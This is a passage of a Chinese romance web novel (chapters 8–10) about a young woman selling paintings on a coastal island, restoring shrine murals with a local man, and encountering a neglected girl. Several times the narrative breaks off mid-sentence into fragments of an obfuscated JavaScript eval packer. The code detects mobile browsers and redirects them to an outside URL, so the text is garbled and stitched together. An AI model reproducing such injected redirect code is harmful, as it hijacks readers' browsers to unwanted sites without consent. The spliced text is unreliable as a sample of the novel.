陈歆韵胸口一股火噌地烧上来,烧得耳根发烫,她牙齿都在微微发颤,合着他这几天看她不顺眼是把她当家贼了,金翊怎么想的她无所谓,那外婆呢?外婆怎么想的? “你少以己度人,我家很有钱的,我爸……,我妈马上会接我去澳洲!我不需要图这破房子。” 她趾高气扬的样子让金翊很是不快,阿嬷交代他千万不能跟陈歆韵多说这些事,他呼了两口气还是没忍住。 “这房子漏雨,返潮,每逢回南天的时候湿的她膝盖都不能伸直。难道是她愿意住这里?我知道你要说什么,你们忙,她乐意,她固执,这么说你们一家良心过得去就行了,照样过快活日子,谁管过她?反正她固执,她活受罪。” 这话未免太过刺骨直白,陈歆韵气得浑身发抖,但张了张嘴,想说她学业忙,她在国外,没空回来,爸妈工作也忙,想了一大堆话,但全部都像浆糊一样堵在嗓子眼,最后也没说出什么。 她深深吸一口气:“你放心,我就算饿死,都不会动她一砖一瓦。还有我为什么回来关你屁事,反正三个月后就走了。” 两人最后不欢而散,接下来几天,两人碰面就当对方是空气,谁也不理谁。阮丽贤察觉出点异样,问了几次,都被陈歆韵糊弄过去。 天色有些灰暗,丝丝缕缕的云像棉絮一样被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129756|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯在天空里,陈歆韵从窗外缩回脑袋,拿了把折叠伞塞进包里,她又检查了一遍,素描本、一套便携水彩、十几张野生速写和支架都在。 她做贼似的探出门左右张望,确认外婆不在后,背着包朝码头赶。 那天金翊的话让她回来很久以后脸上还是一阵火辣,面对外婆时肢体也十分僵硬,无地自容到天旋地转,总在刻意回避。 钱快见底了,她刷手机看到同龄女生摆摊创业的帖子,失眠了两个晚上,在早上摸到外婆昨晚给自己手腕上偷摸带着的金链子后,给自己鼓了个劲,背着包跑到对岸镇上摆了个画摊。 这个念头冒出来时,她自己都觉得太过荒唐丢脸,但眼下也没有更好的选择。她继续呆满三个月,外婆也不会有意见,更不会跟她收钱,可这种好让她良心过不去。 她跟阮丽贤说自己学画画的,要去岛上到处采风,下午就背着工具去码头,码头边民宿的老板下午会有一趟船接游客,所以她不用坐早班轮渡也可以到对岸。 对岸热闹些,游客多,比起岛上更适合摆摊。她挑了几张相对完整的意大利街头速写和来这边画的海岛风景画,仔细裁切好,又去镇上唯一一家文具店买了简易画框和支架。 自己拎着个小折叠凳和装画的布袋,坐船去了对岸。 前两天她在一条有些冷清的街边摆,卖出去了两张,都是游客买的本地风景画,直接被对方对半砍价,不过还是拿了80块,扣除船费,还有剩,这是她第一次挣的钱,居然这么少,她有点闷闷不乐。 今天她打算去集市,也就是沙埕最繁华的商业街,临近码头,游客云集。 街上两旁是骑楼,中间石板路挤满了摊位,卖海鲜的、卖首饰的、卖日用品的、卖小吃零食的,人声鼎沸,空气里混杂着鱼腥、香料和油炸食物的味道。 陈歆韵从街头走到街尾,在靠近尽头,相对离街边远一些的清净地方找到个空位,这个位置不太显眼,她松了口气,把折叠凳展开,支起画架,把几张风景画小心地夹在架子上。 做完这些,她坐在凳子边缘,帽檐压的低低的,双手规规矩矩放在膝盖上,蜷着手指互相抠,眼睛盯着面前来来往往的脚,就是不抬头看人。 还是太难为情了。 摆了这么多天,她心里还是很难接受,从小到大,她从未需要这样抛头露面过。她虽然这么干了,但不代表能接受。 “新来的?”旁边的大叔问她,“卖画?” 陈歆韵才注意到大叔也在卖画,自己居然在同行旁边摆了摊,她僵硬地点点头。 “挺好。”大叔倒也不介意,他点点头,长长的马尾一甩一甩的。 “刚开始都难为情,习惯了就好。”他语气很随意,“而且你摆那么里面,谁看得到?摆摊嘛,就得大大方方的。” 大叔说完,直接热心地帮她把画架挪到街边,她抿了抿唇,深吸一口气,乱七八糟地做了下心理建设,抓着凳子往前挪了挪,让自己完全暴露在阳光下。 阳光有些刺眼,她眯了眯眼,感觉脸上热度更高了,但心里那股扭捏感觉放松了些。 “谢谢。”她小声说。 大叔摆摆手,转头继续画起了街头速写。 隔壁是个摆摊唱歌的年轻人,他拨动琴弦,唱起一首轻快温柔的闽南语歌,歌声混在集市嘈杂的背景音里。 偶尔有人驻足看看画,问两句价格,真卖出去的不多,其余时间她就安静地坐着,听年轻人唱听不懂的歌,看眼前天南海北,形形色色的游客流过。 她抱着腿,偏头枕在膝盖上,眼眶又湿了,眼泪从一个眼眶途径鼻梁,汇进另一个眼眶里。她真是靠了,怎么变得这么爱哭,听首歌也能哭,她就这么边哭边生气,然后又笑了。 不知过了多久,一片阴影挡住了阳光,陈歆韵泪眼蒙眬中下意识抬头,脖颈瞬间僵住了。 金翊俯身在她摊位前,双手插在工装裤口袋里,微微歪着头,正在打量她。 随后他挑了挑眉,慢慢问道:“你,在干嘛?” 8. 日落黄昏时 陈歆韵梗着脖子,大脑全然宕机,她不在岛上摆摊也是不想遇上金翊,谁知道这人在对岸也有固定刷新点。 “我家很有钱的。” 她莫名听到这句珠光宝气的话在两人之间回荡。 “我……” 刚出声她就赶紧捂住嘴,鼻音太重了。手心有阵潮湿,她低头一看,是生理性鼻水。 金翊捻了副画起来,阳光从他身后打来,让他脸上的表情不太真切。 金翊如果说什么“大小姐来体验生活啊”“这么可怜我把你的画都买了”这种话,她就马上去跳海。 她痛苦地闭上眼睛,羞耻心挠着脸,越想越极端。 金翊拿着幅画,看了几分钟,又对着码头比了几下,最后放下来,啧啧啧了几声冲她摇摇头。 然后他步到隔壁摊,也拿起一幅画,同样对着码头比了几下:“这画才是沙埕嘛。” 他满意点点头,冲隔壁摊老板笑得灿烂:“老板,手艺不错啊。” 老板甩了下单边宽面刘海:也不客气:“开玩笑,我吃饭的家伙。” 陈歆韵蹭一下站起来,手也不捂脸了,她拿起金翊刚才放下的画,又凑去看他手上的画。 她用的是水彩,老板用的是水墨,画的都是码头风景,完成度差不多。 她怒目圆睁:“我画的怎么就不是沙埕了?” “怎么说呢…,你的画,”金翊手在空中比了个抽象的波浪,“没有呼吸。” 她咬牙切齿:“请你说人话。” “就,”金翊手指搓了搓下巴,细细斟酌感受。 继而在陈歆韵期待的目光中开口:“感觉不对。” “就这?” “昂。”他点点头,叫陈歆韵细细品味一下这种感受,随后跟隔壁老板把那副画买了下来。 “给我!”金翊刚买下来,陈歆韵就毫不客气地挥过来,把老板的画跟自己的画放一起细细对比,找感觉。 金翊无奈:“你讲点礼貌行不行?”也没走,就在旁边等她看画。 老板刚做了笔买卖,胡子都精神,他凑到二人脑袋中间,也端详起两幅画。 “你看这里。”老板指着水彩画上的一点,指头都是黑墨。 是码头的石柱,水彩水润通透,消解了石柱的厚重,整副画面显得清丽可爱。 “再看这里,你的画是不是少了什么。”他指了指自己画上同样的地方。 水墨几笔勾勒出石柱的模样,但是比她的画里多了点东西。 她把两幅画放下,抬眼就看到了画上的码头,现实里的石柱并不漂亮干净。它旁边堆着很多鱼内脏器官和烂菜,表面是斑驳的血点和苍蝇盘踞的腐肉。 她在画里把这一切都消除了,她笔下的码头只有如洗碧空,万里波涛和盘旋的海鸥,如果没有旁边的小字,这幅画可以是世界上任何一片海域。 “对,少了,”金翊挠挠头,“少了感觉。” 陈歆韵忽然和他心有灵犀,她接着说:“少了点叙事感。” “对!”金翊一拍手,终于把那种感觉形容出来了,他重重点头,看向陈歆韵,两人四目相对,嘴角都挂着笑。 发现这件事后,两人又马上把脑袋扭向两边。 等到日暮西山,陈歆韵猫着腰收拾东西。 金翊从对面茶馆出来了,身后跟着两个生意伙伴,一个大肚男扯着他要去进行夜场。 人流攒动里对面街道上一头鲜艳红发在风里飘摇,实在瞩目,金翊按住大肚男拉拉扯扯的手,温和又从容道:“多谢陈老板好意,只是南岛开发的承包商商会已经定下,之前谈好了价格,又临时变卦的人不是我吧,岛上就这么大,做生意讲究的是诚信,有来有回,这次做不成下次还有合作的机会。今晚实在家里有事。” 男人无奈,咬着牙重重握了金翊的手,却被他反握的力气痛到面目抽搐。 陈歆韵整理完,把包甩到肩上,打算去提画架。 有人先她一步把画架提到肩上。陈歆韵撇了他一眼,轻飘飘一句:“谢了”,转身走了。 她突然停在原地,没法继续往前。 金翊拉住了她的背包带子:“你真是被伺候习惯了吧。看不出来你在谢我。” 陈歆韵还没说什么,背包带子已经从肩上滑落了,金翊单手把画袋背在另一只肩上。 陈歆韵这回扯了一个大大的笑容,对他装模作样鞠了一躬:“谢谢您。” 回岛上的人不多,从浔尾返回的游客倒是不少,捕鱼的船只也陆续返航,傍晚的码头人潮熙熙攘攘。两人找了个雨棚,坐着等船,落日从海平线上照过来,把海面照得一片橘金,黄昏壮丽又盛大。 潋滟的波光太过晃眼,陈歆韵闭上了一只眼睛。 “那个……”金翊看着他们在地上的影子,“生意怎么样?” “赚了200。” “不错啊,请你吃饭庆祝一下。” 陈歆韵噗嗤笑了:“这有什么好庆祝的,又没多少。” “你不会是因为我那天说的话吧?” 他那天说完后就觉得话有点重,事后好几次遇到陈歆韵,目光还没接触,她就把头扭开了,闷葫芦一样,彻底无视他。 说到底要房子的是陈梦婷,陈歆韵说她不知道这件事,金翊还是倾向于相信她。人家好好的来外婆家里玩,自己一个外人在那说三道四,搞的人家女孩子去摆摊,金翊想他这真不是人干的事。 “你想多了,你没那么重要。”陈欣怡把眼睛撇开。 “你那画多少钱?” “你要干嘛?少可怜我,我说我三个月后去澳洲的事不是胡扯的。” “不是。”金翊指着码头陈歆韵取材的地方。垃圾已经被收走了,柱子上的斑斑血迹在黄昏里闪着点点的光。 “我觉得画画是对自然的感触和对内心的探索。那个老板说他在这里坐了那么多年,那些东西才长在他的画上后,我就想我刚才或许错了。对你来说,你的内心就是海的天,天的海,你画出了自己的叙事。”金翊哼哧哼哧说了一大堆,等着陈歆韵的点评。 没想到她却张大了嘴,眼里都是惊讶。 “干嘛?” “你刚刚百度的吗?” “不是,我自己想的。” “噗嗤。”陈歆韵又笑了一下,“那好吧,既然你这么会欣赏,打个八折,算你一百八。” “行。” 金翊点点头给她扫了过去,陈歆韵收到钱后一直抱着手机痴痴笑。 金韵不解:“你干嘛?” 她越笑幅度越大,最后没忍住:“你难道你到底是不是这人,你难道不会讲价吗?我一开始卖一百,他们对半会砍成五十,我后来就卖了两百,基本上都会被砍到五六十。” 陈歆韵说完,斜着眼撇他,想瞅瞅他无语的反应。 金翊点点头:“我还以为是什么事呢。你的画很好啊。两百还低了,我不跟你讲价。” 陈歆韵把目光收回来,她琢磨着,这岛上卖鱼的文化人真的很无趣。 金翊一起和她回了外婆家。外婆围着她好一通看。把她这么多天没能仔细看全的外孙女翻来覆去看了个遍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129757|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金翊嘴上没把门,被外婆知道了她出去摆摊的事。气的外婆捻了一根扫把上的竹条在她身上假意抽了几下。 陈歆韵瞪了金翊好几眼,连连跟外婆求饶。 晚饭过后,金翊去给她修房间。做衣柜要的木板下午就已经送到了。只是他忙着去码头上找陈歆韵和谈生意,没来得及装。 陈歆韵倒是很生气,她气成了一只红色虎皮鹦鹉:“我就知道你说要自己做木板是唬我呢。就是不想马上弄好,想赶我走。” 金翊没回她,埋头哼哧哼哧的把那些木头搬到后院。 后院灰蒙蒙的,吊灯被打开后,金翊一抬眼就看到了祠堂。 一直灰扑扑,漆皮掉的阎王都不认识的祠堂大门上,有两个精神矍铄的门神和他四目相对。 颜料很新,在吊灯下还反光,他把木头放下,小心没触到门神,把门推开。 一盏昏黄的灯泡勉强照亮不大的空间,祠堂里,正面的神龛和供桌擦拭得还算干净。 左面的壁画还是一片破败,右边的山水田园画,已经被人用颜料补到一半了。 “怎么样,是不是对我五体投地。”陈歆韵从他身后冒出来。 金翊点点头:“是挺厉害,你怎么知道这些壁画原来的样子?” 她突然卡了下壳:“呃……” 金翊凑近看,被气笑了:“你居然给门神画珍珠耳环。” 她小声但是理直气壮:“反正这个洗一下就会掉嘛,我外婆都不管我,你管什么……” 金翊一步跨出来,没踩门槛,他腿长,步子又急,很快走进前院,声音才传来:“你知道祠堂的绿眼睛传说吗?” 陈歆韵还在欣赏她的艺术,莫名听到这句话,僵了一下,随后虔诚地边鞠躬边后退,没敢睁开眼睛,差点被门槛绊了一下。 金翊再来的时候,还开着他那边三轮踏板车,这次小飞机座上载了个耳边带着黄花的阿嬷。 外婆见到阿嬷在门口就大张开双臂,阿嬷从飞机座上翻下来的样子比成龙爬墙还熟练,两个老人在门前亲亲热热地抱成一团。 两个老人在院子里脑袋抵着脑袋,亲亲讲着话,声音大了一点,还抬头左右看,瞅到了金翊和陈歆韵,又把脑袋埋得更紧,声音更小了,好像在讲什么国家机密,怕他们两个人听到一样。 陈歆韵蹲在大门里,笑着摇摇头。 金翊脑袋凑了过来,毛绒绒的碎发蹭的她脸上痒。 “你干什么,不能好好说话吗?” 金翊学着两个老人的样子,把声音压低:“惠阿嬷家也有个祠堂。” “哦。” “她子女出国了,祠堂也很旧。岛上不少这样的老人。” 陈歆韵听出些什么东西,她把脑袋凑过去:“那他们需要修吗?” 两人一起把脑袋抬起来,在对方的眼中看到肯定。 陈歆韵:“可我没有工具。” 金翊:“我有。颜料,明胶、矾水,毛笔,排笔,刮刀、砂纸,壁画的稿纸我也有。” 陈歆韵赞许地点点头:“可我又不认识别人,他们不会找我吧。” 金翊指了指自己:“用我这张脸,哪户人家的门都可以敲开。” 陈歆韵给他一个大拇指,颁发荣誉:“封你为浔尾第一大混子。” 金翊的臂肌发达,又穿着背心,杵在她旁边,她有点不自然,挪了挪小碎步,蹲到他对面:“谢谢你。”说完她又想到:“那你为什么不自己去画?” “我抽中介费百分之五十。” 陈歆韵:你直接来我口袋里抢啊! 9. 不强势的勇气 岛上的祠堂是上个世纪建的,曾经鲜艳辉煌的彩绘大多都剥落了,虽然很多人家在世纪初有过修缮,但随着子女出国,另一半过身,自己都自顾不暇了,自然没管得上祖宗。 金翊给她介绍的,是愿意修缮宗祠的老人。 陈歆韵屈服在客源销售的淫威之下,咬牙应下了百分之四十的提成。 这是她处理的第二个祠堂了,岛上的人家都不是什么宗祠大族,彩绘也简单。 她用砂纸把起翘剥落的地方轻轻打磨平整,清理干净灰尘,把不用的旧色去掉,留了点底子,随后按照金翊给的比例开始调颜料。 哒哒哒。一颗小石子弹到地上,滚到她脚边。陈歆韵没来得及抬头,一颗小石子就飞来砸到她手臂上。 她痛得捂住手臂,接着又更多细碎的石子迎面砸来。 陈歆韵随手拿起一块木板挡住漫天零碎的小石子,一边慢慢后退到神龛后面,屏息凝神。 窸窸窣窣的踏步声在祠堂门口响起,陈歆韵悄悄从神像缝隙之中往外看,一个清瘦的人影在门口左右张望,半个身子都探进祠堂了,脚下却没越过门槛。 朝她扔石子的是个像猴子一样细瘦的男孩子,他眼眶凹陷,约莫十一二岁左右。 陈歆韵抬手要把手上的木板扔出去,仔细一看,顺手抄的居然是人家的祖先排位,这罪过大了,她吓得赶紧松手。又轻声挪动身体,抓住了画画用的小爬梯,一鼓作气冲出去。 男孩被她吓得扑倒在地,滑溜几下站起来就要跑,陈歆韵气得半死,扔了爬梯在后面紧追不舍。 男生左绕右绕到一条小路,路尽头是一间厝,他轻巧地从旁门钻了进去。 陈歆韵刹住车,这宅门半掩着,缝隙里透出来的院落有种阴森幽冷的感觉。 她原地转了两下,拨了个电话。 十分钟后,金翊从他那台可达鸭边三轮上下来。 陈歆韵气大头了,他骑这个鬼东西来怎么给她撑场子?? 不过她先问:“老板,我上班时候受工伤了,你管不管?” 金翊疑惑:“我带你去医院?” 陈歆韵语气冒火,她指着大宅门:“你先带我进去理论,他家儿子刚拿石头砸我,莫名其妙的。” 她走到门前准备推门,回头看金翊还在原地不动。她莫名转移了生气对象:“难道你不愿意帮我?!” 金翊摇摇头,把她拉过来,看了下她发红的手臂,掏出手机拍了张照片固定证据。 “你来。”金翊轻轻拢着她手腕到边三轮旁,从工具箱里掏出药水和纱布:“去医院吗?” “哼。” “不去的话我给你上药?” 陈歆韵没理他,她被人无缘无故扔石头,金翊居然不帮她上门理论,她心里感觉受了天大的委屈,气头盖过了被莫名被砸的火气。 金翊先给她出血的地方消毒,又一点点找她身上发红的地方涂抹药水。 “这家人有点特殊,我跟你说完后,你自己决定,要去理论的话尽管去,我和你一起。” 陈歆韵这才回头看他。 “砸你的不是他们家儿子,是女儿。” “你弄错了吧?就是男孩子。” 那个人浑身上下没有一点儿女孩儿的特征,短发被剪的乱七八糟,十一二岁正是女生发育的年龄,但他穿着薄短袖,胸部也是扁平的。 金翊摇摇头:“他们家儿子才一岁,路都走不稳。” “难道……”陈歆韵指了指自己脑袋,表情变得乖巧,好像做错了事。 金翊冲她一笑:“没,智力正常。” “家暴?” “不是。” 金翊摇摇头,给她手臂和小腿上受伤的地方贴上纱布,随后眼神从她身上移开,把剩余的纱布往她眼前送,没什么感情地开口:“其他地方你自己贴吧。” “不行!抽了我百分之四十的利润,你答应过我工作出了岔子你全包的,钱是那么好赚的吗?少抵赖,快点给本小姐全部包扎好。” 金翊被她好一通数落,不过他从来说不过陈歆韵,就拿着根沾了药水的棉签转到她身后,把她的红发拢起来撩到胸前,开始擦拭她肩上的伤口。 “她认识我吗?为什么要攻击我。” “不认识吧。但是大家知道。” “啊?” 金翊笑了笑:“有个漂亮的小姑娘到了岛上,是阮阿嬷家的女孩。” 陈歆韵心想难道是那种穷山恶水的刁民欺负外来女孩的故事? 可浔尾算是沿海比较发达的地区,监控安保齐全,还有海警巡逻,村民大多是小康之家,老人都挺喜欢她的,所以她也没有很担心自己的安全。 “这和她砸我有什么关系?” 金翊把她的红发撩回来,指尖碰到她的锁骨,心下感念道,陈歆韵是真的瘦,明明也没有克扣她三餐。 “我其实不清楚,但我猜因为你是个漂亮的女孩子,还穿着裙子。” 他话音刚落,大宅门突然被向内打开,一个黝黑的男人推搡着砸她的女孩出门。 男人推她,她就往回挤,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人把手一摊,一副你奈我何的样子:“那你去起诉我啦。他妈的养个赔钱货就是没用,照顾小孩还偷跑出去玩,搞得我儿子差点被憋死妈的…” 他突然弯下腰,抓了一把石子朝女孩扔过去,金翊反应快,把女孩挡到身后,细小的沙灰进了他的眼睛。 陈歆韵没见过这么不讲理的人,眼看男人还要再抓一把沙石,她连忙抓住他手臂,男人却一转方向扔她脸上。 一条结实的手臂横在两人中间,金翊眼睛进了东西看不清,他眯着眼,迅速判断了一下方向,朝男人那边压下去,男人瞬间就被他撂倒在地,身后搁着石头,仰天痛呼一大叫。 陈歆韵看着呆傻的小女孩,转身想去房子里找她妈妈,却看见门缝隙里出现个满脸疲惫抱着孩子的妇女,她眉头紧锁,看见她老公被人打倒好像也不在意。 她说:“你搞什么,你儿子又要吐了。” 男人爬起来,跳过陈歆韵,嚷嚷着:“我现在管不了不想管,谁爱要谁要。” 砰——大门紧紧关上了。 10. 好食好味 女孩空洞的眼睛流不出泪水,金翊让她坐小飞机座上,陈歆韵坐在他后面。 “把这个带上。”金翊把一个头盔塞她头上,另一个头盔给女孩戴上。 他正在俯身给陈歆韵扣安全扣,粗粝的指头摸挲过他的下巴,透过蒙蒙的玻璃,他凌厉的眼睛线条变得柔和。 “那你呢?” 金翊勾起了唇角,偏着头去撞陈歆韵头上的安全帽,把她撞的往后仰。 他说:“我头硬着呢。” 边三轮七拐八拐到了岛上的商业街,最后停在一幢复式小洋房前。 别墅外贴着五彩斑斓的瓷砖,纹样繁复,颇有南洋风情。几株三角梅开在风里,从围墙头,镂空花窗往外探。 大门两边的对联是石刻金漆的,金属双开门刷过金翊的脸后自动向内打开了。 进门两旁是两株巨大的翠绿迎客松,枝叶被修剪的圆滚可爱,院子地面上都贴着纹样简单的瓷砖。 宽敞的院里是熟悉面孔。青龙白虎哥蹲在地上杀鸭子,腰上围了个唐老鸭围裙,鸭血混着水,淌了满地。 另一边的盆子里还装着整盆的鱼蛋,接地气得和这个洋气味十足的小别墅格格不入。 黄威虎跟金翊打了招呼后,冲陈歆韵点点头,她才发现凶猛哥的眼睛是又大又亮的,跟本人走的形象风格很不相符。 金翊走到门口发现陈歆韵还没跟上来,女孩和黄威虎脸带疑惑地看她。 金翊倒是了然,他到旁边的车库拿了两个尿素袋,铺在鸭毛血水混杂在地上,冲陈歆韵说:“走吧。” 陈歆韵点点头,小心翼翼地淌过去。 还没进别墅里,就听到一阵咿咿呀呀的嘈杂声,客厅那100多寸的电视上,花旦一袭白衣飘飘,在唱剧,黄毛在下面捻着兰花指,扭着舞步,跟着唱跳。 那身段,那嗓音,叫一个专业。 旁边笼子里还有只红色鹦鹉,把脑袋埋进自己饱满的胸膛里,像是很不耐烦,整只小鸟鼓鼓囊囊的。 看到他们进来,他扯着嗓子咿咿呀呀地用普通话唱了句:“海棠——反把梨花压~~咦耶咦耶~” 金翊一巴掌就扇了上去:“滚。” 陈歆韵真是被吓了一跳,□□素手做饭,朋克非主流唱大戏,这小别墅从里到外透着一股魔幻现实主义风。 金翊蹲下身,直视女孩:“上去洗干净再下来。”看样子不是第一次发生这种事了。女孩点点头,转身上了楼梯,临行前剜了陈歆韵一眼。 陈歆韵这次却没心情跟她发脾气 “接下来要怎么处理?” “吃饭。等她爸妈火气消了,送她回去。” “什么?!把她送回去。她爸爸都把她赶出来了,我们把她送回去,对她多残忍。” 金翊笑着对她摇摇头,语气无奈:“他们没有暴力行为,也从来没有苛待过她,基本的吃穿,教育都有提供,村委也没办法介入。” 陈歆韵火气一点没消:“这是他们应该做的!把孩子生下来,就该给她提供让她健康快乐长大的生活品质。孩子也有感情,他这些话,完全达到了精神暴力的程度,这对一个十一二岁的孩子来说太过分了。” 金翊点点头:“你说的不错。但这种语言环境暴力很难被定义为家暴,村委那里难以介入。而且,你又怎么知道她不愿意回去呢?” 陈歆韵眯了眯眼:“什么意思?” “在我发现这件事情的时候,试图帮助她,比如对她进行资助,建议她上全寄宿制学校。但是我发现,她在跟我们相处的过程中会表现出对父母的思念和依恋,对家不自觉向往。换句话说,她潜意识其实害怕离开这个家庭。” 陈歆韵瞪大眼睛,何难理解金翊的话:“这有什么好害怕离开的?我就……” 她突然顿住了,胸腔一起一伏,呼吸变得混乱。 金翊走进厨房,给她倒了杯豆浆:“我出门前榨的。放了黄豆,核桃,花生,大米,黑米。”他掰起手指一根根数。 陈歆韵苍白着脸接过来,仰头喝后,豆浆还是温的。浓醇的核桃香跟米香一起钻入鼻腔,香甜丝滑的液体暖到了胃。 她亮着眼睛:“好好喝啊。” 金翊笑着跟她点头,转身把围裙穿上,围裙上刻着米奇老鼠,应该跟外面那件围裙是一套。 陈歆韵问:“你干嘛?” “做饭啊,你看几点了?” 她按亮手机屏幕,折腾来折腾去,都已经十一点半了。 糟了,她关上手机转身跑出去。 金翊眼快,抓住了她的手臂。他的手掌宽大,竟能把陈歆韵的整个手腕都圈了起来。 他的语气没有疑问:“你去干嘛?留下来吃饭。” “我要回去给陈阿公画壁画啊,不然今天画不完了。” 金翊没松手:“那也得先吃饭啊,而且陈阿公每天就坐在房门口看天数鸟的。不管是明天还是明年,对他来说都是今天,长命功夫长命做啦。” 金翊蹲下来从橱柜里掏出一包晒干的茶树菇,把它们全部倒进沥水篮里,开满水,放着浸泡。 陈歆韵不太赞同他这番论调,但想了想,还是决定留下来吃饭。 她转头到客厅里,黄毛还在那里咿咿呀呀,一身朋克亚比装的人在那唱传统戏剧,画面冲击力太强,她被吵得耳朵痛,干脆躲回厨房看金翊做饭。 陈歆韵靠在门边:“要我帮什么吗?” “把手机掏出来。” “哦。”,陈歆韵有点懵,但还是乖乖照做,她拎着手机问,“干什么?” “记录一下我这个岛草做饭的英姿。” “滚。” 金翊撇了下嘴巴,耸了耸肩:“那就没什么事要你做了。” 黄威虎中途进来送了一下刚杀的鸭。 金翊穿的还是背心,领口袖口大的跟马里亚纳海沟似的,套上个围裙,宽肩和肩臂肌肉展露无疑,正面看起来跟里面中空似的,陈歆韵脑子忽然有些不检点,她甩了甩脑袋,企图把这些神经质的想法抛出脑外。 金翊用面粉和盐把鸭的杂质沥干净,操着刀把明黄的长条生姜切成厚薄均匀的片状,接着开火热油,麻油一半清油一半对冲,再把生姜投进去翻炒。不出半分钟,整个厨房都飘着姜的香味。 不管是切还是炒,他都没有弯过腰,背挺的很直,表情专注又认真,洗菜的时候是洗菜,炒菜的时候是炒菜,动作仔细专注。 姜的水分被炒干,微微收缩,他就把鸭子丢进去,盖上盖子开始焗。 在等待焗干水分的间隙,他又到洗手台另一边备其他的菜。刀透过食材切到砧板上有种安心的厚实感,水龙头哗啦啦的声音断断续续,汤锅则在持续咕噜咕噜响,瓷盆碰撞的当啷声像圆圈一样回荡。 洗手台前是一大扇窗户,外面没有城市的高楼大厦,只有一片新绿和三角梅的嫣红,再往远处,是铺满整个窗户一望无际的蔚蓝大海。 窗户是向外推开的,陈歆韵又一次被海风吹拂,这次是从金翊家里的窗户传来的。 “喏。” 眼前出现个瓷白的小盆子,里面是几片浓绿的牛油果。和小巧瓷白形成反差的是捏住碟子的大手,金翊在光里笑着看她。 陈歆韵看向他另一只手,原木砧板上放着一排切得整齐的牛油果,但是最中间有一个缺口。 见陈歆韵没反应,他又掂了掂盘子,几片牛油果随着他的动作滑向陈歆韵这边,她接过盘子吃了起来。 “午饭的水果是牛油果?” “黄毛要吃的,说最近减肥,只吃素,我给他弄个沙拉。” “噗嗤”,陈歆韵差点被呛到,原来他们自己也叫那人黄毛。 但是她忽然反应过来,这是黄毛的沙拉,那她吃的岂不是最中间果肉最多的部分? 那又怎样,她只稍微歉疚了那么一会儿,就全部吃光了。 “你们是三兄弟吗?” “亲兄弟那不是。是兄弟,我亲哥在国外,他俩有我家钥匙。” “大门的密码是364521,内门的钥匙就在仓库近门右边货架第三排的箱子里。” 金翊忽然就把自己家的这些东西和盘托出,语气自然地像跟自家妹妹说话一样。 陈歆韵有点懵:“你跟我说干嘛?” 金翊手下动作还是一样行云流水,把鱿鱼的皮扒了,“唰唰唰”切成好几个圈:“以后你自己进来就行,不用跟我说,四楼是客房,有留宿的话随便挑一间住。” 看着他因不断动作而起伏的坚实背脊和被牛油果泥沾满的手指,陈歆韵把食指放进嘴巴里吸吮了一下,应了声:“哦。” 金翊做完后,她帮忙布餐。 烙到两面金黄的海蛎煎,白灼鱿鱼圈,捞汁柠檬香螺,酒酿茄汁大明虾,热气氤氲,淌着油光切口齐整焦蜜色包裹的姜母鸭,蚌肉肥嫩丰腴,上亿颗鱼蛋填满的鱼肠块脆嫩而鲜,橙柑,荔枝,番茄夹西梅被分成五小碟,插着签子,被摆放在一整块白玉质的餐桌上。 浔尾近海,所以一应山珍海味贱如泥沙,金翊还做了几道她只在酒店见过的海鲜,模样比外头的更有家常菜的韵味。 她来浔尾,心里弯弯绕绕的,嘴巴是一点没受过委屈。 外婆家做得更多是小味家常,香味盈满在大厝里,心里都是烟火气。金翊做饭偏向于用料奢侈,做工精细,调香多样,二者做出的饭菜同样有声有色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129759|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大家陆陆续续上了桌。金翊去别墅院子里摘了几束白花香菜,切碎放进鱼露里,端到餐桌上做酱汁。 看到人都全了,陈歆韵拿起筷子就夹了只明虾,金翊还在调料汁,石图男却一动不动,陈歆韵有点奇怪:“图男,你吃东西呀。” 石图南瞥了一眼金翊说:“你还没吃。” 金翊叹了口气:“图男,我说过很多次。在我家里不用讲究这个。想吃就吃。” 她“嗯”了声,低着头夹了个干瘦的鸭胸肉。 “夹翅中吃。” 金翊的声音再次传来,没什么波动。 自然而然把鸭翅夹到碗里的陈歆韵咋了下舌,有点诧异,她才注意到石图男的碗里是干涩的瘦肉。她难道爱吃这种肉?她小时候吃过一次,干涩到她半途就吐了。家里也没怎么人吃过这个部位。 石图男的手停在半空,筷子有些微微颤抖。 随后她调转方向夹了另一块鸭翅,在陈歆韵惊诧的目光中放到金翊的碗里,她说:“这个好吃,你吃。” 金翊看着鸭翅叹了口气。 